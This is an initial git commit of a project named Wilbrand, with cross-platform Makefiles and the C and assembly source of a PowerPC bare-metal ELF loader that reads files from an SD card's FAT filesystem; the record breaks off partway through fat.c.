initial commit

This commit is contained in:
J Van Dyke 2015-09-02 23:13:18 -04:00
commit fd256f90a6
51 changed files with 6415 additions and 0 deletions

156
Makefile Normal file
View File

@ -0,0 +1,156 @@
#---------------------------------------------------------------------------------
.SUFFIXES:
#---------------------------------------------------------------------------------
#---------------------------------------------------------------------------------
# the prefix on the compiler executables
#---------------------------------------------------------------------------------
PREFIX :=
export CC := $(PREFIX)gcc
export CXX := $(PREFIX)g++
export AS := $(PREFIX)as
export AR := $(PREFIX)ar
export OBJCOPY := $(PREFIX)objcopy
export BIN2S := bin2s
export STRIP := $(PREFIX)strip
#---------------------------------------------------------------------------------
%.a:
@echo $(notdir $@)
@rm -f $@
@$(AR) -rc $@ $^
#---------------------------------------------------------------------------------
%.o: %.cpp
@echo $(notdir $<)
@$(CXX) -MMD -MP -MF $(DEPSDIR)/$*.d $(CXXFLAGS) -c $< -o $@
#---------------------------------------------------------------------------------
%.o: %.c
@echo $(notdir $<)
@$(CC) -MMD -MP -MF $(DEPSDIR)/$*.d $(CFLAGS) -c $< -o $@
#---------------------------------------------------------------------------------
%.o: %.s
@echo $(notdir $<)
@$(CC) -MMD -MP -MF $(DEPSDIR)/$*.d -x assembler-with-cpp $(ASFLAGS) -c $< -o $@
#---------------------------------------------------------------------------------
%.o: %.S
@echo $(notdir $<)
@$(CC) -MMD -MP -MF $(DEPSDIR)/$*.d -x assembler-with-cpp $(ASFLAGS) -c $< -o $@
#---------------------------------------------------------------------------------
%.bin.o : %.bin
@echo $(notdir $<)
@$(BIN2S) -a 32 $< | $(AS) -o $(@)
#---------------------------------------------------------------------------------
# TARGET is the name of the output
# BUILD is the directory where object files & intermediate files will be placed
# SOURCES is a list of directories containing source code
# INCLUDES is a list of directories containing extra header files
#---------------------------------------------------------------------------------
TARGET := Wilbrand
BUILD := build
SOURCES := source
DATA := data
INCLUDES :=
#---------------------------------------------------------------------------------
# options for code generation
#---------------------------------------------------------------------------------
CFLAGS := -Wall -O3 -g -pipe -funroll-loops -DSEP=\"/\" -DSEPC=\'/\'
CFLAGS += $(INCLUDE)
CXXFLAGS := $(CFLAGS)
ASFLAGS := -g
LDFLAGS = -g -static -static-libgcc
#---------------------------------------------------------------------------------
# any extra libraries we wish to link with the project (order is important)
#---------------------------------------------------------------------------------
LIBS :=
#---------------------------------------------------------------------------------
# list of directories containing libraries, this must be the top level containing
# include and lib
#---------------------------------------------------------------------------------
LIBDIRS :=
#---------------------------------------------------------------------------------
# no real need to edit anything past this point unless you need to add additional
# rules for different file extensions
#---------------------------------------------------------------------------------
ifneq ($(BUILD),$(notdir $(CURDIR)))
#---------------------------------------------------------------------------------
export OUTPUT := $(CURDIR)/$(TARGET)
export VPATH := $(foreach dir,$(SOURCES),$(CURDIR)/$(dir)) \
$(foreach dir,$(DATA),$(CURDIR)/$(dir))
export DEPSDIR := $(CURDIR)/$(BUILD)
CFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.c)))
CPPFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.cpp)))
SFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.s)))
BINFILES := $(foreach dir,$(DATA),$(notdir $(wildcard $(dir)/*.*)))
#---------------------------------------------------------------------------------
# use CXX for linking C++ projects, CC for standard C
#---------------------------------------------------------------------------------
ifeq ($(strip $(CPPFILES)),)
#---------------------------------------------------------------------------------
export LD := $(CC)
#---------------------------------------------------------------------------------
else
#---------------------------------------------------------------------------------
export LD := $(CXX)
#---------------------------------------------------------------------------------
endif
#---------------------------------------------------------------------------------
export OFILES := $(addsuffix .o,$(BINFILES)) \
$(CPPFILES:.cpp=.o) $(CFILES:.c=.o) $(SFILES:.s=.o)
export INCLUDE := $(foreach dir,$(INCLUDES),-I$(CURDIR)/$(dir)) \
$(foreach dir,$(LIBDIRS),-I$(dir)/include) \
-I$(CURDIR)/$(BUILD)
export LIBPATHS := $(foreach dir,$(LIBDIRS),-L$(dir)/lib)
.PHONY: $(BUILD) clean
#---------------------------------------------------------------------------------
$(BUILD):
@[ -d $@ ] || mkdir -p $@
@$(MAKE) --no-print-directory -C $(BUILD) -f $(CURDIR)/Makefile
#---------------------------------------------------------------------------------
clean:
@echo clean ...
@rm -fr $(BUILD) $(TARGET) $(TARGET).debug
#---------------------------------------------------------------------------------
else
#---------------------------------------------------------------------------------
# main targets
#---------------------------------------------------------------------------------
$(OUTPUT) : $(OFILES)
@echo linking $(notdir $@).debug
@$(LD) $(LDFLAGS) $(OFILES) $(LIBPATHS) $(LIBS) -o $@.debug
@echo strip $(notdir $@).debug "->" $(notdir $@)
@$(STRIP) -s $@.debug -o $@
-include $(DEPSDIR)/*.d
#---------------------------------------------------------------------------------------
endif
#---------------------------------------------------------------------------------------

159
Makefile.win Normal file
View File

@ -0,0 +1,159 @@
# makefile used for building a windows binary on a linux system
# using ubuntu mingw package
#
#---------------------------------------------------------------------------------
.SUFFIXES:
#---------------------------------------------------------------------------------
#---------------------------------------------------------------------------------
# the prefix on the compiler executables
#---------------------------------------------------------------------------------
PREFIX := /usr/bin/i586-mingw32msvc-
export CC := $(PREFIX)gcc
export CXX := $(PREFIX)g++
export AS := $(PREFIX)as
export AR := $(PREFIX)ar
export OBJCOPY := $(PREFIX)objcopy
export BIN2S := bin2s
export STRIP := $(PREFIX)strip
#---------------------------------------------------------------------------------
%.a:
@echo $(notdir $@)
@rm -f $@
@$(AR) -rc $@ $^
#---------------------------------------------------------------------------------
%.o: %.cpp
@echo $(notdir $<)
@$(CXX) -MMD -MP -MF $(DEPSDIR)/$*.d $(CXXFLAGS) -c $< -o $@
#---------------------------------------------------------------------------------
%.o: %.c
@echo $(notdir $<)
@$(CC) -MMD -MP -MF $(DEPSDIR)/$*.d $(CFLAGS) -c $< -o $@
#---------------------------------------------------------------------------------
%.o: %.s
@echo $(notdir $<)
@$(CC) -MMD -MP -MF $(DEPSDIR)/$*.d -x assembler-with-cpp $(ASFLAGS) -c $< -o $@
#---------------------------------------------------------------------------------
%.o: %.S
@echo $(notdir $<)
@$(CC) -MMD -MP -MF $(DEPSDIR)/$*.d -x assembler-with-cpp $(ASFLAGS) -c $< -o $@
#---------------------------------------------------------------------------------
%.bin.o : %.bin
@echo $(notdir $<)
@$(BIN2S) -a 32 $< | sed 's/$(shell echo $(<F) | sed -e 's/^\([0-9]\)/_\1/' | tr . _)/_$(shell echo $(<F) | sed -e 's/^\([0-9]\)/_\1/' | tr . _)/' | $(AS) -o $(@)
#---------------------------------------------------------------------------------
# TARGET is the name of the output
# BUILD is the directory where object files & intermediate files will be placed
# SOURCES is a list of directories containing source code
# INCLUDES is a list of directories containing extra header files
#---------------------------------------------------------------------------------
TARGET := Wilbrand.exe
BUILD := build_win32
SOURCES := source
DATA := data
INCLUDES :=
#---------------------------------------------------------------------------------
# options for code generation
#---------------------------------------------------------------------------------
CFLAGS := -Wall -O3 -g -pipe -funroll-loops -DSEP=\"\\\\\" -DSEPC=\'\\\\\'
CFLAGS += $(INCLUDE)
CXXFLAGS := $(CFLAGS)
ASFLAGS := -g
LDFLAGS = -g -static -static-libgcc
#---------------------------------------------------------------------------------
# any extra libraries we wish to link with the project (order is important)
#---------------------------------------------------------------------------------
LIBS := -lwsock32
#---------------------------------------------------------------------------------
# list of directories containing libraries, this must be the top level containing
# include and lib
#---------------------------------------------------------------------------------
LIBDIRS := /usr/i586-mingw32msvc
#---------------------------------------------------------------------------------
# no real need to edit anything past this point unless you need to add additional
# rules for different file extensions
#---------------------------------------------------------------------------------
ifneq ($(BUILD),$(notdir $(CURDIR)))
#---------------------------------------------------------------------------------
export OUTPUT := $(CURDIR)/$(TARGET)
export VPATH := $(foreach dir,$(SOURCES),$(CURDIR)/$(dir)) \
$(foreach dir,$(DATA),$(CURDIR)/$(dir))
export DEPSDIR := $(CURDIR)/$(BUILD)
CFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.c)))
CPPFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.cpp)))
SFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.s)))
BINFILES := $(foreach dir,$(DATA),$(notdir $(wildcard $(dir)/*.*)))
#---------------------------------------------------------------------------------
# use CXX for linking C++ projects, CC for standard C
#---------------------------------------------------------------------------------
ifeq ($(strip $(CPPFILES)),)
#---------------------------------------------------------------------------------
export LD := $(CXX)
#---------------------------------------------------------------------------------
else
#---------------------------------------------------------------------------------
export LD := $(CXX)
#---------------------------------------------------------------------------------
endif
#---------------------------------------------------------------------------------
export OFILES := $(addsuffix .o,$(BINFILES)) \
$(CPPFILES:.cpp=.o) $(CFILES:.c=.o) $(SFILES:.s=.o)
export INCLUDE := $(foreach dir,$(INCLUDES),-I$(CURDIR)/$(dir)) \
$(foreach dir,$(LIBDIRS),-I$(dir)/include) \
-I$(CURDIR)/$(BUILD)
export LIBPATHS := $(foreach dir,$(LIBDIRS),-L$(dir)/lib)
.PHONY: $(BUILD) clean
#---------------------------------------------------------------------------------
$(BUILD):
@[ -d $@ ] || mkdir -p $@
@$(MAKE) --no-print-directory -C $(BUILD) -f $(CURDIR)/Makefile.win
#---------------------------------------------------------------------------------
clean:
@echo clean ...
@rm -fr $(BUILD) $(TARGET) $(TARGET).debug
#---------------------------------------------------------------------------------
else
#---------------------------------------------------------------------------------
# main targets
#---------------------------------------------------------------------------------
$(OUTPUT) : $(OFILES)
@echo linking $(notdir $@).debug
@$(LD) $(LDFLAGS) $(OFILES) $(LIBPATHS) $(LIBS) -o $@.debug
@echo strip $(notdir $@).debug "->" $(notdir $@)
@$(STRIP) -s $@.debug -o $@
-include $(DEPSDIR)/*.d
#---------------------------------------------------------------------------------------
endif
#---------------------------------------------------------------------------------------

159
Makefile.x86 Normal file
View File

@ -0,0 +1,159 @@
# makefile used for building a 32bit binary on a x86_64 system
# using g++-multilib package
#
#---------------------------------------------------------------------------------
.SUFFIXES:
#---------------------------------------------------------------------------------
#---------------------------------------------------------------------------------
# the prefix on the compiler executables
#---------------------------------------------------------------------------------
PREFIX :=
export CC := $(PREFIX)gcc
export CXX := $(PREFIX)g++
export AS := $(PREFIX)as
export AR := $(PREFIX)ar
export OBJCOPY := $(PREFIX)objcopy
export BIN2S := bin2s
export STRIP := $(PREFIX)strip
#---------------------------------------------------------------------------------
%.a:
@echo $(notdir $@)
@rm -f $@
@$(AR) -rc $@ $^
#---------------------------------------------------------------------------------
%.o: %.cpp
@echo $(notdir $<)
@$(CXX) -MMD -MP -MF $(DEPSDIR)/$*.d $(CXXFLAGS) -c $< -o $@
#---------------------------------------------------------------------------------
%.o: %.c
@echo $(notdir $<)
@$(CC) -MMD -MP -MF $(DEPSDIR)/$*.d $(CFLAGS) -c $< -o $@
#---------------------------------------------------------------------------------
%.o: %.s
@echo $(notdir $<)
@$(CC) -MMD -MP -MF $(DEPSDIR)/$*.d -x assembler-with-cpp $(ASFLAGS) -c $< -o $@
#---------------------------------------------------------------------------------
%.o: %.S
@echo $(notdir $<)
@$(CC) -MMD -MP -MF $(DEPSDIR)/$*.d -x assembler-with-cpp $(ASFLAGS) -c $< -o $@
#---------------------------------------------------------------------------------
%.bin.o : %.bin
@echo $(notdir $<)
@$(BIN2S) -a 32 $< | $(AS) -o $(@) --32
#---------------------------------------------------------------------------------
# TARGET is the name of the output
# BUILD is the directory where object files & intermediate files will be placed
# SOURCES is a list of directories containing source code
# INCLUDES is a list of directories containing extra header files
#---------------------------------------------------------------------------------
TARGET := Wilbrand.x86
BUILD := build.32
SOURCES := source
DATA := data
INCLUDES :=
#---------------------------------------------------------------------------------
# options for code generation
#---------------------------------------------------------------------------------
CFLAGS := -Wall -O3 -g -pipe -funroll-loops -m32 -DSEP=\"/\" -DSEPC=\'/\'
CFLAGS += $(INCLUDE)
CXXFLAGS := $(CFLAGS)
ASFLAGS := -g
LDFLAGS = -g -static -static-libgcc -m32
#---------------------------------------------------------------------------------
# any extra libraries we wish to link with the project (order is important)
#---------------------------------------------------------------------------------
LIBS :=
#---------------------------------------------------------------------------------
# list of directories containing libraries, this must be the top level containing
# include and lib
#---------------------------------------------------------------------------------
LIBDIRS :=
#---------------------------------------------------------------------------------
# no real need to edit anything past this point unless you need to add additional
# rules for different file extensions
#---------------------------------------------------------------------------------
ifneq ($(BUILD),$(notdir $(CURDIR)))
#---------------------------------------------------------------------------------
export OUTPUT := $(CURDIR)/$(TARGET)
export VPATH := $(foreach dir,$(SOURCES),$(CURDIR)/$(dir)) \
$(foreach dir,$(DATA),$(CURDIR)/$(dir))
export DEPSDIR := $(CURDIR)/$(BUILD)
CFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.c)))
CPPFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.cpp)))
SFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.s)))
BINFILES := $(foreach dir,$(DATA),$(notdir $(wildcard $(dir)/*.*)))
#---------------------------------------------------------------------------------
# use CXX for linking C++ projects, CC for standard C
#---------------------------------------------------------------------------------
ifeq ($(strip $(CPPFILES)),)
#---------------------------------------------------------------------------------
export LD := $(CC)
#---------------------------------------------------------------------------------
else
#---------------------------------------------------------------------------------
export LD := $(CXX)
#---------------------------------------------------------------------------------
endif
#---------------------------------------------------------------------------------
export OFILES := $(addsuffix .o,$(BINFILES)) \
$(CPPFILES:.cpp=.o) $(CFILES:.c=.o) $(SFILES:.s=.o)
export INCLUDE := $(foreach dir,$(INCLUDES),-I$(CURDIR)/$(dir)) \
$(foreach dir,$(LIBDIRS),-I$(dir)/include) \
-I$(CURDIR)/$(BUILD)
export LIBPATHS := $(foreach dir,$(LIBDIRS),-L$(dir)/lib)
.PHONY: $(BUILD) clean
#---------------------------------------------------------------------------------
$(BUILD):
@[ -d $@ ] || mkdir -p $@
@$(MAKE) --no-print-directory -C $(BUILD) -f $(CURDIR)/Makefile.x86
#---------------------------------------------------------------------------------
clean:
@echo clean ...
@rm -fr $(BUILD) $(TARGET) $(TARGET).debug
#---------------------------------------------------------------------------------
else
#---------------------------------------------------------------------------------
# main targets
#---------------------------------------------------------------------------------
$(OUTPUT) : $(OFILES)
@echo linking $(notdir $@).debug
@$(LD) $(LDFLAGS) $(OFILES) $(LIBPATHS) $(LIBS) -o $@.debug
@echo strip $(notdir $@).debug "->" $(notdir $@)
@$(STRIP) -s $@.debug -o $@
-include $(DEPSDIR)/*.d
#---------------------------------------------------------------------------------------
endif
#---------------------------------------------------------------------------------------

BIN
Wilbrand Executable file

Binary file not shown.

BIN
Wilbrand.exe Executable file

Binary file not shown.

BIN
Wilbrand.x86 Executable file

Binary file not shown.

BIN
data/envelope.bin Normal file

Binary file not shown.

BIN
data/loader.bin Executable file

Binary file not shown.

5
loader/.gitignore vendored Normal file
View File

@ -0,0 +1,5 @@
font.c
version.c
loader.elf
loader.bin

76
loader/Makefile Normal file
View File

@ -0,0 +1,76 @@
# Copyright 2008-2009 Segher Boessenkool <segher@kernel.crashing.org>
# This code is licensed to you under the terms of the GNU GPL, version 2;
# see file COPYING or http://www.gnu.org/licenses/old-licenses/gpl-2.0.txt
CROSS ?= $(WIIDEV)/bin/powerpc-elf-
#CROSS ?= /mnt/j/devkitPRO/devkitPPC17/bin/powerpc-gekko-
#CROSS ?= broadway-
ifeq ($(origin CC), default)
CC = $(CROSS)gcc -m32
endif
ifeq ($(origin LD), default)
LD = $(CROSS)ld
endif
OBJCOPY ?= $(CROSS)objcopy
CFLAGS := -Wall -W -O2 -ffreestanding -std=gnu99 -Wstrict-aliasing=2 \
-mno-eabi -mno-sdata -mcpu=750
targets := loader.bin
objs := crt0.o main.o string.o video.o ios.o sd.o fat.o elf.o sync.o font.o \
console.o exception.o exception_2200.o usbgecko.o time.o version.o
ppms := font.ppm
ifeq ($(V),1)
Q :=
else
Q := @
MAKEFLAGS += --no-print-directory
endif
all: $(targets)
$(targets): %.bin: %.elf
@echo " OBJCOPY $@"
$(Q)$(OBJCOPY) -O binary $< $@
elfs := $(targets:.bin=.elf)
$(elfs): %.elf: %.lds $(objs)
@echo " LINK $@"
$(Q)$(LD) $(LDFLAGS) -n -T $^ -o $@
%.o: %.c loader.h
@echo " COMPILE $@"
$(Q)$(CC) $(CFLAGS) -c $< -o $@
crt0.o exception_2200.o: %.o: %.s
@echo " ASSEMBLE $@"
$(Q)$(CC) $(CFLAGS) -c $< -o $@
version.c: ../.version
@echo " VERSION $@"
$(Q)echo "const char version[] = \"`cat $^`\\\\n(`whoami`@`hostname -s`)\";" > $@
../.version: FORCE
$(Q)echo `basename $(PWD)` > $@
$(ppms): %.ppm: %.png
@echo " PPM $@"
$(Q)convert $< $@
font.c: %.c: %.ppm font2c.pl
@echo " FONT2C $@"
$(Q)perl font2c.pl < $*.ppm > $@
FORCE:
clean:
@echo "clean..."
@rm -rf $(objs) $(targets) $(elfs) font.c version.c ../.version

153
loader/console.c Normal file
View File

@ -0,0 +1,153 @@
// Copyright 2009 Segher Boessenkool <segher@kernel.crashing.org>
// This code is licensed to you under the terms of the GNU GPL, version 2;
// see file COPYING or http://www.gnu.org/licenses/old-licenses/gpl-2.0.txt
#include <stdarg.h>
#include "loader.h"
static void put(char c)
{
fb_putc(c);
usbgecko_console_putc(c);
}
// __umoddi3() and friends are very big, and more general than we need:
// radix is always (very) small, so we can work by much bigger chunks
// than single bits, always.
static int extract_dig(u64 *x, u32 radix)
{
u32 hi = *x >> 32;
u32 lo = *x;
u32 mod = hi % radix;
hi /= radix;
u32 n = (mod << 16) | (lo >> 16);
mod = n % radix;
n /= radix;
lo = (mod << 16) | (lo & 0xffff);
mod = lo % radix;
lo /= radix;
lo |= (n << 16);
*x = ((u64)hi << 32) | lo;
return mod;
}
// This implements conversions %{0}{number}{l,ll}[%cdsux] only.
// Field length is obeyed for numbers only.
// Always returns 0.
int printf(const char *restrict format, ...)
{
va_list ap;
va_start(ap, format);
while (*format) {
if (*format != '%') {
put(*format++);
continue;
}
format++;
int zero = 0;
int prec = 0;
if (*format == '0') {
zero = 1;
format++;
}
while (*format >= '0' && *format <= '9')
prec = 10*prec + (*format++ - '0');
int ll = 0;
while (*format == 'l') {
ll++;
format++;
}
int radix = 10;
int is_signed = 1;
switch (*format++) {
case '%':
put('%');
break;
case 'c':
put(va_arg(ap, int));
break;
case 's':
;
char *s = va_arg(ap, char *);
while (*s)
put(*s++);
break;
case 'x':
radix = 16;
case 'u':
is_signed = 0;
case 'd':
;
u64 x;
if (is_signed) {
if (ll == 0)
x = va_arg(ap, int);
else if (ll == 1)
x = va_arg(ap, long);
else
x = va_arg(ap, long long);
} else {
if (ll == 0)
x = va_arg(ap, unsigned int);
else if (ll == 1)
x = va_arg(ap, unsigned long);
else
x = va_arg(ap, unsigned long long);
}
if (is_signed) {
if ((long long)x < 0)
x = -x;
else
is_signed = 0;
}
char hold[22];
char *hld = &hold[sizeof hold];
*--hld = 0;
int len = 0;
do {
int dig = extract_dig(&x, radix);
if (dig >= 10)
dig += 'a' - 10;
else
dig += '0';
*--hld = dig;
len++;
} while (x);
if (is_signed)
*--hld = '-';
while (len < prec) {
put(zero ? '0' : ' ');
len++;
}
while (*hld)
put(*hld++);
}
}
va_end(ap);
return 0;
}

52
loader/crt0.s Normal file
View File

@ -0,0 +1,52 @@
# Copyright 2008-2009 Segher Boessenkool <segher@kernel.crashing.org>
# This code is licensed to you under the terms of the GNU GPL, version 2;
# see file COPYING or http://www.gnu.org/licenses/old-licenses/gpl-2.0.txt
.globl _start
_start:
# Disable interrupts, enable FP.
mfmsr 3 ; rlwinm 3,3,0,17,15 ; ori 3,3,0x2000 ; mtmsr 3 ; isync
# Setup stack.
lis 1,_stack_top@ha ; addi 1,1,_stack_top@l ; li 0,0 ; stwu 0,-64(1)
# Clear BSS.
lis 3,__bss_start@ha ; addi 3,3,__bss_start@l
li 4,0
lis 5,__bss_end@ha ; addi 5,5,__bss_end@l ; sub 5,5,3
bl memset
# set [DI]BAT0 for 256MB@80000000,
# real 00000000, WIMG=0000, R/W
li 3,2 ; lis 4,0x8000 ; ori 4,4,0x1fff
mtspr 529,3 ; mtspr 528,4 ; mtspr 537,3 ; mtspr 536,4 ; isync
# set [DI]BAT4 for 256MB@90000000,
# real 10000000, WIMG=0000, R/W
addis 3,3,0x1000 ; addis 4,4,0x1000
mtspr 561,3 ; mtspr 560,4 ; mtspr 569,3 ; mtspr 568,4 ; isync
# set DBAT1 for 256MB@c0000000,
# real 00000000, WIMG=0101, R/W
li 3,0x2a ; lis 4,0xc000 ; ori 4,4,0x1fff
mtspr 539,3 ; mtspr 538,4 ; isync
# set DBAT5 for 256MB@d0000000,
# real 10000000, WIMG=0101, R/W
addis 3,3,0x1000 ; addis 4,4,0x1000
mtspr 571,3 ; mtspr 570,4 ; isync
# enable [DI]BAT4-7 in HID4
lis 3, 0x8200
mtspr 1011,3
# Go!
bl main
# If it returns, hang. Shouldn't happen.
b .

47
loader/elf.c Normal file
View File

@ -0,0 +1,47 @@
// Copyright 2008-2009 Segher Boessenkool <segher@kernel.crashing.org>
// This code is licensed to you under the terms of the GNU GPL, version 2;
// see file COPYING or http://www.gnu.org/licenses/old-licenses/gpl-2.0.txt
#include "loader.h"
// Determine if a valid ELF image exists at the given memory location.
int valid_elf_image(void *addr)
{
u32 *header = addr;
return header[0] == 0x7f454c46 // ELF
&& header[1] == 0x01020100 // 32-bit, BE, ELF v1, SVR
&& header[4] == 0x00020014 // executable, PowerPC
&& header[5] == 1 // object file v1
&& (header[10] & 0xffff) == 32; // PHDR size
}
// Returns the entry point address.
void *load_elf_image(void *addr)
{
u32 *header = addr;
u32 *phdr = addr + header[7];
u32 n = header[11] >> 16;
u32 i;
for (i = 0; i < n; i++, phdr += 8) {
if (phdr[0] != 1) // PT_LOAD
continue;
u32 off = phdr[1];
void *dest = (void *)phdr[3];
u32 filesz = phdr[4];
u32 memsz = phdr[5];
memcpy(dest, addr + off, filesz);
memset(dest + filesz, 0, memsz - filesz);
sync_before_exec(dest, memsz);
}
return (void *)header[6];
}

54
loader/exception.c Normal file
View File

@ -0,0 +1,54 @@
// Copyright 2008-2009 Segher Boessenkool <segher@kernel.crashing.org>
// This code is licensed to you under the terms of the GNU GPL, version 2;
// see file COPYING or http://www.gnu.org/licenses/old-licenses/gpl-2.0.txt
#include "loader.h"
extern char exception_2200_start, exception_2200_end;
void exception_handler(int exception)
{
u32 *x;
u32 i;
printf("\nException %04x occurred!\n", exception);
x = (u32 *)0x80002000;
printf("\n R0..R7 R8..R15 R16..R23 R24..R31\n");
for (i = 0; i < 8; i++) {
printf("%08x %08x %08x %08x\n", x[0], x[8], x[16], x[24]);
x++;
}
x += 24;
printf("\n CR/XER LR/CTR SRR0/SRR1 DAR/DSISR\n");
for (i = 0; i < 2; i++) {
printf("%08x %08x %08x %08x\n", x[0], x[2], x[4], x[6]);
x++;
}
// Hang.
for (;;)
;
}
void exception_init(void)
{
u32 vector;
u32 len_2200;
for (vector = 0x100; vector < 0x2000; vector += 0x10) {
u32 *insn = (u32 *)(0x80000000 + vector);
insn[0] = 0xbc002000; // stmw 0,0x2000(0)
insn[1] = 0x38600000 | (u32)vector; // li 3,vector
insn[2] = 0x48002202; // ba 0x2200
insn[3] = 0;
}
sync_before_exec((void *)0x80000100, 0x1f00);
len_2200 = &exception_2200_end - &exception_2200_start;
memcpy((void *)0x80002200, &exception_2200_start, len_2200);
sync_before_exec((void *)0x80002200, len_2200);
}

24
loader/exception_2200.s Normal file
View File

@ -0,0 +1,24 @@
# Copyright 2008-2009 Segher Boessenkool <segher@kernel.crashing.org>
# This code is licensed to you under the terms of the GNU GPL, version 2;
# see file COPYING or http://www.gnu.org/licenses/old-licenses/gpl-2.0.txt
.globl exception_2200_start, exception_2200_end
exception_2200_start:
# store all interesting regs
mfcr 0 ; stw 0,0x2080(0)
mfxer 0 ; stw 0,0x2084(0)
mflr 0 ; stw 0,0x2088(0)
mfctr 0 ; stw 0,0x208c(0)
mfsrr0 0 ; stw 0,0x2090(0)
mfsrr1 0 ; stw 0,0x2094(0)
mfdar 0 ; stw 0,0x2098(0)
mfdsisr 0 ; stw 0,0x209c(0)
# switch on FP, DR, IR
mfmsr 0 ; ori 0,0,0x2030 ; mtsrr1 0
# go to C handler
lis 0,exception_handler@h ; ori 0,0,exception_handler@l ; mtsrr0 0
rfi
exception_2200_end:

425
loader/fat.c Normal file
View File

@ -0,0 +1,425 @@
// Copyright 2009 Segher Boessenkool <segher@kernel.crashing.org>
// This code is licensed to you under the terms of the GNU GPL, version 2;
// see file COPYING or http://www.gnu.org/licenses/old-licenses/gpl-2.0.txt
#include "loader.h"
#ifdef FAT_TEST
#include <stdio.h>
#endif
#define RAW_BUF 0x200
static u8 raw_buf[RAW_BUF] __attribute__((aligned(32)));
static int raw_read(u32 sector)
{
static u32 current = -1;
if (current == sector)
return 0;
current = sector;
return sd_read_sector(raw_buf, sector);
}
static u64 partition_start_offset;
static int read(u8 *data, u64 offset, u32 len)
{
offset += partition_start_offset;
while (len) {
u32 buf_off = offset % RAW_BUF;
u32 n;
n = RAW_BUF - buf_off;
if (n > len)
n = len;
int err = raw_read(offset / RAW_BUF);
if (err)
return err;
memcpy(data, raw_buf + buf_off, n);
data += n;
offset += n;
len -= n;
}
return 0;
}
static u32 bytes_per_cluster;
static u32 root_entries;
static u32 clusters;
static u32 fat_type; // 12, 16, or 32
static u64 fat_offset;
static u64 root_offset;
static u64 data_offset;
static u32 get_fat(u32 cluster)
{
u8 fat[4];
u32 offset_bits = cluster*fat_type;
int err = read(fat, fat_offset + offset_bits/8, 4);
if (err)
return 0;
u32 res = le32(fat) >> (offset_bits % 8);
res &= (1 << fat_type) - 1;
res &= 0x0fffffff; // for FAT32
return res;
}
static u64 extent_offset;
static u32 extent_len;
static u32 extent_next_cluster;
static void get_extent(u32 cluster)
{
extent_len = 0;
extent_next_cluster = 0;
if (cluster == 0) { // Root directory.
if (fat_type != 32) {
extent_offset = root_offset;
extent_len = 0x20*root_entries;
return;
}
cluster = root_offset;
}
if (cluster - 2 >= clusters)
return;
extent_offset = data_offset + (u64)bytes_per_cluster*(cluster - 2);
for (;;) {
extent_len += bytes_per_cluster;
u32 next_cluster = get_fat(cluster);
if (next_cluster - 2 >= clusters)
break;
if (next_cluster != cluster + 1) {
extent_next_cluster = next_cluster;
break;
}
cluster = next_cluster;
}
}
static int read_extent(u8 *data, u32 len)
{
while (len) {
if (extent_len == 0)
return -1;
u32 this = len;
if (this > extent_len)
this = extent_len;
int err = read(data, extent_offset, this);
if (err)
return err;
extent_offset += this;
extent_len -= this;
data += this;
len -= this;
if (extent_len == 0 && extent_next_cluster)
get_extent(extent_next_cluster);
}
return 0;
}
int fat_read(void *data, u32 len)
{
return read_extent(data, len);
}
static u8 fat_name[11];
static u8 ucase(char c)
{
if (c >= 'a' && c <= 'z')
return c - 'a' + 'A';
return c;
}
static const char *parse_component(const char *path)
{
u32 i = 0;
while (*path == '/')
path++;
while (*path && *path != '/' && *path != '.') {
if (i < 8)
fat_name[i++] = ucase(*path);
path++;
}
while (i < 8)
fat_name[i++] = ' ';
if (*path == '.')
path++;
while (*path && *path != '/') {
if (i < 11)
fat_name[i++] = ucase(*path);
path++;
}
while (i < 11)
fat_name[i++] = ' ';
if (fat_name[0] == 0xe5)
fat_name[0] = 0x05;
return path;
}
u32 fat_file_size;
int fat_open(const char *name)
{
u32 cluster = 0;
while (*name) {
get_extent(cluster);
name = parse_component(name);
while (extent_len) {
u8 dir[0x20];
int err = read_extent(dir, 0x20);
if (err)
return err;
if (dir[0] == 0)
return -1;
if (dir[0x0b] & 0x08) // volume label or LFN
continue;
if (dir[0x00] == 0xe5) // deleted file
continue;
if (!!*name != !!(dir[0x0b] & 0x10)) // dir vs. file
continue;
if (memcmp(fat_name, dir, 11) == 0) {
cluster = le16(dir + 0x1a);
if (fat_type == 32)
cluster |= le16(dir + 0x14) << 16;
if (*name == 0) {
fat_file_size = le32(dir + 0x1c);
get_extent(cluster);
return 0;
}
break;
}
}
}
return -1;
}
#ifdef FAT_TEST
static void print_dir_entry(u8 *dir)
{
int i, n;
if (dir[0x0b] & 0x08) // volume label or LFN
return;
if (dir[0x00] == 0xe5) // deleted file
return;
if (fat_type == 32) {
fprintf(stderr, "#%04x", le16(dir + 0x14));
fprintf(stderr, "%04x ", le16(dir + 0x1a));
} else
fprintf(stderr, "#%04x ", le16(dir + 0x1a)); // start cluster
u16 date = le16(dir + 0x18);
fprintf(stderr, "%04d-%02d-%02d ", 1980 + (date >> 9), (date >> 5) & 0x0f, date & 0x1f);
u16 time = le16(dir + 0x16);
fprintf(stderr, "%02d:%02d:%02d ", time >> 11, (time >> 5) & 0x3f, 2*(time & 0x1f));
fprintf(stderr, "%10d ", le32(dir + 0x1c)); // file size
u8 attr = dir[0x0b];
for (i = 0; i < 6; i++)
fprintf(stderr, "%c", (attr & (1 << i)) ? "RHSLDA"[i] : ' ');
fprintf(stderr, " ");
for (n = 8; n && dir[n - 1] == ' '; n--)
;
for (i = 0; i < n; i++)
fprintf(stderr, "%c", dir[i]);
for (n = 3; n && dir[8 + n - 1] == ' '; n--)
;
if (n) {
fprintf(stderr, ".");
for (i = 0; i < n; i++)
fprintf(stderr, "%c", dir[8 + i]);
}
fprintf(stderr, "\n");
}
int print_dir(u32 cluster)
{
u8 dir[0x20];
get_extent(cluster);
while (extent_len) {
int err = read_extent(dir, 0x20);
if (err)
return err;
if (dir[0] == 0)
break;
print_dir_entry(dir);
}
return 0;
}
#endif
static int fat_init_fs(const u8 *sb)
{
u32 bytes_per_sector = le16(sb + 0x0b);
u32 sectors_per_cluster = sb[0x0d];
